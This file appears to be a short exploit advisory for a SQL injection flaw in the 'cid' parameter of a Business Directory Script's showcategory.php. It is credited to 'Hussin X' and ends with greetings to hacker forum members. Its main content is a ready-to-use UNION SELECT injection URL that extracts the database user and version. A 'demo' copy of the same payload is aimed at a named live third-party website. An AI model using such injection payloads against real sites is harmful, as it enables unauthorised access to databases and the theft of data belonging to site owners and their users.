businessdir-sql.txt

`|___________________________________________________  
|  
| Business Directory Script ( cid) Remote SQL Injection Vulnerability  
|  
|___________________________________________________  
|-------------------- Hussin X -------------------  
|  
| Author: Hussin X  
|  
| Home : WwW.IQ-ty.CoM  
|  
| email: darkangel_g85[at]Yahoo[DoT]com  
|  
|___________________________________________________  
|  
| script : http://www.pozscripts.com/product_details.php?item_id=6  
|  
| DorK : :)  
|___________________________________________________  
  
Exploit:  
________  
  
  
  
www.[target].com/Script/showcategory.php?cid=-264+union+select+1,concat(user(),0x3e,version()),3,4,5--  
  
  
  
Demo  
________  
  
http://www.singwebs.com/businessdirectoryadmindemo/showcategory.php?cid=-264+union+select+1,concat(user(),0x3e,version()),3,4,5--  
  
  
  
  
____________________________( Greetz )_________________________________  
|  
| All members of the Forum| WwW.IQ-ty.CoM | WwW.TrYaG.CC |  
|  
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr  
|  
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab |  
G4N0K  
|_____________________________________________________________________  
  
  
Im IRAQi | Im TrYaGi  
`